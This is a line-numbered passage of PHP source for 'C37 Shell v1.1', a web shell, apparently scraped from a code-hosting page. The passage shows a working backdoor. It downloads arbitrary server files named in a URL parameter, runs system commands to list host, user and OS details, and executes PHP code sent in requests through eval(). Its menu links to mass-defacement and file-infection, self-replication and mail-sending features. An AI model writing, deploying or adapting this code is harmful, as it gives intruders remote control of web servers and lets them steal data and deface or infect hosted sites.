  217. 		if (is_readable($_GET['file'])) {

    218. 

  218. 			header('Content-Description: File Transfer');

    219. 

  219. 			header('Pragma: public');

    220. 

  220. 			header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); 

    221. 

  221. 			header('Cache-Control: private',false);

    222. 

  222. 			header('Expires: 0');

    223. 

  223. 			$B='Content-Type: ';

    224. 

  224. 			if (class_exists('finfo')) {

    225. 

  225. 				$finfo = new finfo(FILEINFO_MIME);

    226. 

  226. 				$B .= $finfo->file($_GET['file']);

    227. 

  227. 			}

    228. 

  228. 			elseif (function_exists('mime_content_type')) { $B .= mime_content_type($_GET['file']); }

    229. 

  229. 			elseif (function_exists('apache_lookup_uri')) { $Info = apache_lookup_uri($_GET['file']); $B .= $Info->content_type; }

    230. 

  230. 			else { $B .= 'application/download'; }

    231. 

  231. 			header($B);

    232. 

  232. 			header('Content-Disposition: attachment; filename="'.$_GET['file'].'"');

    233. 

  233. 			header('Content-Transfer-Encoding: binary');

    234. 

  234. 			header('Content-Length: '. sprintf('%u', filesize($_GET['file'])));

    235. 

  235. 			if (function_exists('readfile')) { readfile($_GET['file']); }

    236. 

  236. 			elseif (function_exists('file_get_contents')) {

    237. 

  237. 				echo file_get_contents($_GET['file']);

    238. 

  238. 			}

    239. 

  239. 			elseif (function_exists('fread') && function_exists('fopen')) {

    240. 

  240. 				$handle = fopen($_GET['file'], 'rb');

    241. 

  241. 				echo fread($handle,sprintf('%u',filesize($_GET['file'])));

    242. 

  242. 				fclose($handle);

    243. 

  243. 			}

    244. 

  244. 			elseif (function_exists('fgets') && function_exists('fopen')) {

    245. 

  245. 				$handle = fopen($_GET['file'], 'rb');

    246. 

  246. 				$contents = ''; $Line = '';

    247. 

  247. 				do {

    248. 

  248. 					$Line = fgets($handle,sprintf('%u',filesize($_GET['file'])));

    249. 

  249. 					$contents .= $Line;

    250. 

  250. 				} while ($Line !== FALSE);

    251. 

  251. 				echo $contents;

    252. 

  252. 				fclose($handle);

    253. 

  253. 			}

    254. 

  254. 			elseif (function_exists('fgetc') && function_exists('fopen')) {

    255. 

  255. 				$handle = fopen($_GET['file'], 'rb');

    256. 

  256. 				$contents = ''; $Character = '';

    257. 

  257. 				do {

    258. 

  258. 					$Character = fgetc($handle,sprintf('%u',filesize($_GET['file'])));

    259. 

  259. 					$contents .= $Character;

    260. 

  260. 				} while ($Character !== FALSE);

    261. 

  261. 				echo $contents;

    262. 

  262. 				fclose($handle);

    263. 

  263. 			}

    264. 

  264. 			die;

    265. 

  265. 		}

    266. 

  266. 		else { echo 'Are you kidding me?!<br />This file does not exist or is not readable...'; die; }

    267. 

  267. 	}

    268. 

  268. 	if ($_GET['action'] === 'getfile') { if (!readfile($_GET['file'])) { echo file_get_contents($_GET['file']); } die; }

    269. 

  269. 	if ($_GET['action'] === 'printimg') { echo '<html><head></head><body><img src="?action=getfile&amp;file=',$SCDIR,urlencode($_GET['file']),'" /><script type="text/javascript">window.print();</script></body></html>'; die; }

    270. 

  270. }

    271. 

  271. 

    272. 

  272. $IsWIN = strtoupper(substr(PHP_OS,0,3)) === 'WIN';

    273. 

  273. 

    274. 

  274. echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"',"\r\n\t",'"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">',"\r\n",

    275. 

  275. '<html lang="en-US" xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml">

    276. 

  276. 	<head>

    277. 

  277. 		<meta http-equiv="cache-control" content="Private,no-Store" />

    278. 

  278. 		<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

    279. 

  279. 		<meta name="robots" content="nofollow,noindex,noarchive" />

    280. 

  280. 		<meta http-equiv="Content-Script-Type" content="text/javascript" />

    281. 

  281. 		<meta http-equiv="Content-Style-Type" content="text/css" />

    282. 

  282. 		<title>:: C37 Shell v1.1 - ',$_SERVER['SERVER_NAME'],' ::</title>

    283. 

  283. 		<style type="text/css">

    284. 

  284. 		/*<![CDATA[*/

    285. 

  285. 			body{background-color:black;color:#E5E5E5;font-size:11px;font-family:Tahoma,Verdana,Arial,Helvetica;text-align:center; }

    286. 

  286. 			a {color:#F5F5F5;text-decoration:none; }

    287. 

  287. 			a:hover {text-decoration:underline;color:red; }

    288. 

  288. 			img {border-width:0px;outline:none; }

    289. 

  289. 			input,textarea,button {color:#FFFFFF;background-color:#8B0000;border:1px solid; }

    290. 

  290. 			input[type="checkbox"] {border:0px;background-color:transparent; }

    291. 

  291. 			button,input[type="submit"] {-moz-border-radius-bottomright:4px;-webkit-border-bottom-right-radius:4px; }

    292. 

  292. 			table.RightPad td {padding-right:55px;color:#E5E5E5; }

    293. 

  293. 			table.NoPad td {padding-right:0px;vertical-align:middle;margin-left:-2px; }

    294. 

  294. 			textarea:hover {border-color:gray; }

    295. 

  295. 			fieldset {border:1px solid white; }

    296. 

  296. 			::-moz-selection {background: #ff6161; }

    297. 

  297. 			::selection {background: #ff6161; }

    298. 

  298. 			div,textarea,body{scrollbar-face-color:#8B0000;scrollbar-highlight-color:#FFFFFF;scrollbar-track-color:#000000;scrollbar-arrow-color:#FFFFFF; }

    299. 

  299. 			legend{color:#DB0000; }

    300. 

  300. 			select { color:white; background-color:black; }

    301. 

  301. 		/*]]>*/

    302. 

  302. 		</style>

    303. 

  303. 		<base href="'; $For = 'http'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') { $For .= 's'; } echo $For,'://',$_SERVER['SERVER_NAME'],':',$_SERVER['SERVER_PORT']; if (urldecode($_SERVER['REQUEST_URI']) !== $_SERVER['PHP_SELF'] . '?') { echo htmlspecialchars($_SERVER['REQUEST_URI']); } else { echo htmlspecialchars($_SERVER['PHP_SELF']); }; echo '" />

    304. 

  304. 	</head>

    305. 

  305. 	<body>

    306. 

  306. 		<center style="background-color:#1C1C1C;border: 1px solid red;margin: 1em;padding: 1em 3em;position: relative;">';

    307. 

  307. 		if (!$ShowFiles) {

    308. 

  308. 			echo '<div style="background-color:#1C1C1C;">

    309. 

  309. 				<font color="red">:: Error While Changing Directory :: (Could not Open ',htmlspecialchars($_GET['dir']),')</font>';

    310. 

  310. 				GetLastError();

    311. 

  311. 				echo '</div>

    312. 

  312. 				<br /><br />

    313. 

  313. 				<button title="Go Back in history (using JavaScript)" onclick="window.history.go(-1)">Go Back?</button>

    314. 

  314. 				<br /><br />';

    315. 

  315. 		}

    316. 

  316. echo '<div style="color:#E5E5E5;border-bottom: 1px solid #999;overflow:auto;max-width:100%;">

    317. 

  317. 	<table>

    318. 

  318. 		<tr>

    319. 

  319. 			<td title="Server Details" style="text-align:left;">

    320. 

  320. 				<b>Server Signature</b>: ';

    321. 

  321. 				if (!empty($_SERVER['SERVER_SIGNATURE'])) { echo $_SERVER['SERVER_SIGNATURE'],'<br />'; }

    322. 

  322. 				elseif (!empty($_SERVER['SERVER_SOFTWARE'])) { echo $_SERVER['SERVER_SOFTWARE'],'<br />'; }

    323. 

  323. 				elseif (function_exists('apache_get_version')) { echo apache_get_version(),'<br />'; }

    324. 

  324. 				echo '<b>System</b>: ';

    325. 

  325. 				if (function_exists('php_uname')) { echo php_uname('a'); }

    326. 

  326. 				elseif (function_exists('posix_uname')) {

    327. 

  327. 					foreach (posix_uname() AS $key => $value) { echo $value,' '; }

    328. 

  328. 				}

    329. 

  329. 				elseif (function_exists('system') || function_exists('passthru') || function_exists('shell_exec') || function_exists('exec') || function_exists('popen')) {

    330. 

  330. 					if ($IsWIN) {

    331. 

  331. 						if (function_exists('system')) { system('ver'); }

    332. 

  332. 						elseif (function_exists('shell_exec')) { echo shell_exec('ver'); }

    333. 

  333. 						elseif (function_exists('exec')) { $ExecArray = array(); exec('ver',$ExecArray); foreach ($ExecArray AS $Line) { echo $Line; } }

    334. 

  334. 						elseif (function_exists('passthru')) { passthru('ver'); }

    335. 

  335. 						elseif (function_exists('popen')) { $Read=''; $Handle = popen('ver','r'); while ($Read = fread($Handle,2096)) { echo $Read; } pclose($Handle); }

    336. 

  336. 					}

    337. 

  337. 					else {

    338. 

  338. 						if (function_exists('system')) { system('uname -a'); }

    339. 

  339. 						elseif (function_exists('shell_exec')) { echo shell_exec('uname -a'); }

    340. 

  340. 						elseif (function_exists('exec')) { $ExecArray = array(); exec('uname -a',$ExecArray); foreach ($ExecArray AS $Line) { echo $Line; } }

    341. 

  341. 						elseif (function_exists('passthru')) { passthru('uname -a'); }

    342. 

  342. 						elseif (function_exists('popen')) { $Read=''; $Handle = popen('uname -a','r'); while ($Read = fread($Handle,2096)) { echo $Read; } pclose($Handle); }

    343. 

  343. 					}

    344. 

  344. 				}

    345. 

  345. 				elseif (function_exists('curl_version')) {

    346. 

  346. 					$cURLinfo = curl_version();

    347. 

  347. 					echo $cURLinfo['host'];

    348. 

  348. 				}

    349. 

  349. 				else { echo PHP_OS; }

    350. 

  350. 				echo '<br /><br />

    351. 

  351. 				<a href="?action=info" title="phpinfo()" target="_blank" style="text-decoration:underline;">

    352. 

  352. 					<b>PHP Version</b>: ',PHP_VERSION,

    353. 

  353. 				'</a>';

    354. 

  354. 				if (function_exists('php_sapi_name')) { echo ' (',php_sapi_name(),')'; }

    355. 

  355. 				elseif (is_defined('PHP_SAPI')) { echo ' (',PHP_SAPI,')'; }

    356. 

  356. 				echo ' <b>Zend Version</b>: ',zend_version(),

    357. 

  357. 				'<br />

    358. 

  358. 				<b>Safe Mode</b>: 

    359. 

  359. 				<font color="';

    360. 

  360. 				echo ((ini_get('safe_mode')||strtolower(ini_get('safe_mode')) === 'on') ? 'red">ON (Secure)' : 'green">OFF (Not Secure)')

    361. 

  361. 				,'</font> 

    362. 

  362. 				[<a style="text-decoration:underline;" href="?action=eval&amp;code=echo \'&lt;h3>Disabled Functions:&lt;/h3&gt;\',@ini_get(\'disable_functions\'),\'&lt;h3&gt;Disabled Classes:&lt;/h3&gt;\',@ini_get(\'disable_classes\');" target="_blank" title="Show PHP Disabled Functions&amp;Classes (php.ini)">Disabled Functions&Classes</a>]

    363. 

  363. 				<br />';

    364. 

  364. 				if (!$IsWIN) {

    365. 

  365. 					if (function_exists('system') || function_exists('passthru') || function_exists('shell_exec') || function_exists('exec') || function_exists('popen')) {

    366. 

  366. 						if (function_exists('system')) { system('id'); }

    367. 

  367. 						elseif (function_exists('shell_exec')) { echo shell_exec('id'); }

    368. 

  368. 						elseif (function_exists('exec')) { $ExecArray = array(); exec('id',$ExecArray); foreach ($ExecArray AS $Line) { echo $Line; } }

    369. 

  369. 						elseif (function_exists('passthru')) { passthru('id'); }

    370. 

  370. 						elseif (function_exists('popen')) { $Read=''; $Handle = popen('id','r'); while ($Read = fread($Handle,2096)) { echo $Read; } pclose($Handle); }

    371. 

  371. 					}

    372. 

  372. 					else {

    373. 

  373. 						if (function_exists('getmyuid')) { $UID = getmyuid(); }

    374. 

  374. 						elseif (function_exists('fileowner')) { $UID = fileowner(__FILE__); }

    375. 

  375. 						if (isset($UID)) {

    376. 

  376. 							echo '<b>UID</b>: ', $UID;

    377. 

  377. 							if (function_exists('posix_getpwuid')) { $ID = posix_getpwuid($UID); echo ' (',$ID['name'],')'; }

    378. 

  378. 							elseif (function_exists('get_current_user')) { echo ' (',get_current_user(),')'; }

    379. 

  379. 						}

    380. 

  380. 						else { if (function_exists('get_current_user')) { echo '<b>User:</b> ',get_current_user(),')'; } }

    381. 

  381. 

    382. 

  382. 						if (function_exists('getmygid')) { $GID = getmygid(); }

    383. 

  383. 						elseif (function_exists('filegroup')) { $GID = filegroup(__FILE__); }

    384. 

  384. 						elseif (isset($ID['gid'])) { $GID = $ID['gid']; }

    385. 

  385. 						if (isset($GID)) {

    386. 

  386. 							echo ' <b>GID</b>: ', $GID;

    387. 

  387. 							if (function_exists('posix_getgrgid')) { $ID = posix_getgrgid($GID); echo ' (',$ID['name'],')'; }

    388. 

  388. 						}

    389. 

  389. 					} 

    390. 

  390. 				}

    391. 

  391. 				else {

    392. 

  392. 					echo '<a style="text-decoration:underline;" href="?action=eval&amp;code=echo\'&lt;b&gt;Drives:&lt;/b&gt; \';foreach(range(\'A\',\'Z\') AS $DRIVE) { if(is_dir($DRIVE.\':\\\\\')) { echo\'&lt;a href=\\\'?dir=\',$DRIVE,\':\\\'&gt;[\',$DRIVE,\']&lt;/a&gt; \'; }}" target="_blank">[VIEW DRIVES]</a>';

    393. 

  393. 					if (function_exists('getenv')) {

    394. 

  394. 						echo ' <b>Logged User:</b> ',getenv('USERNAME');

    395. 

  395. 					}

    396. 

  396. 					if (function_exists('get_current_user')) {

    397. 

  397. 						echo ' (<b>Owner</b>: ',get_current_user(),')';

    398. 

  398. 					}

    399. 

  399. 				}

    400. 

  400. 				if (function_exists('getmypid')) { echo ' <b>PID</b>: ' . getmypid(); }

    401. 

  401. 				echo '<br />

    402. 

  402. 				<b>Server IP</b>: ',$_SERVER['SERVER_ADDR'],

    403. 

  403. 				' - <b>Host</b>: ',gethostbyaddr($_SERVER['SERVER_ADDR']),

    404. 

  404. 				'<br /><b>Port</b>: ',$_SERVER['SERVER_PORT'],

    405. 

  405. 				' - <b>Admin</b>: ',$_SERVER['SERVER_ADMIN'];

    406. 

  406. 				$T = array('Bytes','KiB','MiB','GiB','TiB','PiB','EiB','ZiB','YiB');

    407. 

  407. 				$i = 0; $B = diskfreespace($CDIR); $A = disk_total_space($CDIR);

    408. 

  408. 				while ($B>=1024) { $B/=1024;++$i; }

    409. 

  409. 				$Space1=$T[$i]; $i = 0;

    410. 

  410. 				while ($A>=1024) { $A/=1024;++$i; }

    411. 

  411. 				$Space2=$T[$i];

    412. 

  412. 				printf('<br /><br /><b>Free Disk Space: %.3f %s Out of %.3f %s (%.2f%%)',$B,$Space1,$A,$Space2,($B/$A) * 100);

    413. 

  413. 				array_shift($T);

    414. 

  414. 				echo '</b>

    415. 

  415. 				<br /><br />

    416. 

  416. 				<form action="" method="get" id="Go" style="font-weight:bold;">

    417. 

  417. 					<input type="text" id="dir" name="dir" value="',$CDIR,'" style="width:270px;background-color:#000000;border-width:0px;margin-right:3px;" /> 

    418. 

  418. 					<a onclick="javascript:document.getElementById(\'Go\').submit();" style="cursor:pointer;" title="Go to Directory">Enter</a> [<a href="?action=file&amp;act=chmod&amp;file=',urlencode($CDIR),'&amp;dir=',$SCDIR,'"><font';

    419. 

  419. 					$A = GetPerms($CDIR); $B = substr($A,7);

    420. 

  420. 					if ($B === '--x' || $B === '---') { echo ' color="red">'; } else { echo ' color="green">'; }

    421. 

  421. 				echo $A.'</font></a>]</form>';

    422. 

  422. 			echo '</td>

    423. 

  423. 			<td style="padding-left:60px;" title="C37">

    424. 

  424. 				<a href="?dir=',$SCDIR,'" style="outline:0;"><img src="?action=img&amp;image=c37" width="307" height="161" alt="C37 Shell" title="Go to the file explorer" /></a>

    425. 

  425. 			</td>

    426. 

  426. 		</tr>

    427. 

  427. 	</table>

    428. 

  428. 	<strong style="font-size:12px;">

    429. 

  429. 		<img title="Go back in history (Using JavaScript)" src="?action=img&amp;image=backb" width="20" height="20" onclick="javascript:window.history.go(-1)" alt="Back" /> 

    430. 

  430. 		<img title="Go forward in history (Using JavaScript)" src="?action=img&amp;image=forwardb" width="20" height="20" onclick="javascript:window.history.go(1)" alt="Forward" /> 

    431. 

  431. 		[<a title="Return to \'',dirname(__FILE__),'\'" href="?">Home</a>] 

    432. 

  432. 		[<a title="Find Files and Directories" href="?action=search&amp;dir=',$SCDIR; if (isset($_GET['search'])) { echo '&amp;',urlencode($_GET['search']); } if (isset($_GET['type'])) { echo '&amp;',urlencode($_GET['type']); } if (isset($_GET['casein'])) { echo '&amp;',urlencode($_GET['casein']); } echo '">Search</a>] 

    433. 

  433. 		[<a title="Encode & calculate hashsums of a string, convert number bases and more" href="?action=encoder&amp;dir=',$SCDIR,'">Encoder</a>] 

    434. 

  434. 		[<a title="execute PHP Code" href="?action=eval&amp;dir=',$SCDIR,'">Eval</a>] 

    435. 

  435. 		[<a title="Send E-Mail From this Server" href="?action=mailer&amp;dir=',$SCDIR,'">Mail</a>] 

    436. 

  436. 		[<a title="Determine the type of a specific Hash" href="?action=HashAnalyzer&amp;dir=',$SCDIR,'">Hash Analyzer</a>]';

    437. 

  437. 		/* [<a title="Manage SQL Server" href="?action=ManSQL&amp;dir=',$SCDIR,'">SQL Man.</a>] */

    438. 

  438. 		echo ' [<a title="Change content of the files in the Directory" href="?action=MassDeface&amp;dir=',$SCDIR,'">Deface &amp; Infect</a>] 

    439. 

  439. 		[<a title="Make another copy of the shell" href="?action=Replicator">Replicate</a>] ';

    440. 

  440. 		/* [<a title="Use this server as a proxy server" href="?action=Proxy">Proxy</a>] */

    441. 

  441. 		echo '[<a title="Set password for the shell" href="?action=passset">Password</a>] 

    442. 

  442. 		[<span title="Delete the shell from the server" style="color:red;" onmouseover="this.style.textDecoration = \'underline\';this.style.cursor = \'pointer\';" onmouseout="this.style.textDecoration = \'none\';" onclick="javascript:var Ans = confirm(\'Are you sure?\'); if (Ans == 1) { window.location = \'?action=selfremove\'; }">Remove Shell</span>]

    443. 

  443. 		</strong>

    444. 

  444. 	<br /><br />

    445. 

  445. </div>

    446. 

  446. <br /><br />',"\r\n";

    447. 

  447. 

    448. 

  448. if ($IsAction) {

    449. 

  449. 	if ($_GET['action'] === 'eval') {

    450. 

  450. 		if (isset($_REQUEST['code'])) {

    451. 

  451. 			$NA = substr($_REQUEST['code'], 0, 2);

    452. 

  452. 			if (substr($_REQUEST['code'], 0, 5) === '<?php') { $_REQUEST['code'] =  substr($_REQUEST['code'], 5); }

    453. 

  453. 			elseif ($NA === '<?' || $NA === '<%') { $_REQUEST['code'] =  substr($_REQUEST['code'], 2); }

    454. 

  454. 			$ND = substr($_REQUEST['code'], strlen($_REQUEST['code']) -2);

    455. 

  455. 			if ($ND === '?>' || $ND === '%>') { $_REQUEST['code'] =  substr($_REQUEST['code'], 0, -2); }

    456. 

  456. 		}

    457. 

  457. 		if (isset($_POST['highlight']) && (function_exists('highlight_string') || function_exists('show_source'))) {

    458. 

  458. 			echo '<h3>Highlighted code:</h3>

    459. 

  459. 			<div style="overflow:auto;max-height:320px;background-color:white;text-align:left;padding:2px;">';

    460. 

  460. 			if (function_exists('highlight_string')) { highlight_string("<?php\r\n".$_REQUEST['code']."\r\n?>"); }

    461. 

  461. 			else { show_source("<?php\r\n".$_REQUEST['code']."\r\n?>"); }

    462. 

  462. 			echo '</div>';

    463. 

  463. 		}

    464. 

  464. 		if (isset($_REQUEST['code']) && !isset($_POST['textarea'])) {

    465. 

  465. 			echo '<div style="text-align:left;">',eval($_REQUEST['code']),'</div>';

    466. 

  466. 		}

    467. 

  467. 		else {

    468. 

  468. 			echo '<form action="" method="post"><h3>PHP Code'; if (isset($_REQUEST['code'])) { echo ' Results'; } echo ':</h3><textarea name="code" id="code" cols="90" rows="15" spellcheck="false">';

    469. 

  469. 			if (isset($_REQUEST['code'])) {

    470. 

  470. 				echo $_REQUEST['code'], '</textarea><br /><textarea cols="90" rows="15" readonly="readonly" spellcheck="false">', eval($_REQUEST['code']) , '</textarea>';

    471. 

  471. 			}

    472. 

  472. 			else { echo '</textarea>'; }

    473. 

  473. 			echo '<br /><br />

    474. 

  474. 			<input type="submit" value="Exec Code" /> 

    475. 

  475. 			Results in TextArea? <input type="checkbox" checked="checked" name="textarea" id="textarea" />';

    476. 

  476. 			if (function_exists('highlight_string') || function_exists('show_source')) { echo ' Highlight code <input type="checkbox" name="highlight" id="highlight"'; if (isset($_POST['highlight'])) { echo ' checked="checked"'; } echo ' />'; }

    477. 

  477. 			echo '</form>

    478. 

  478. 			<br /><br />…
    479.

Large files files are truncated, but you can click here to view the full file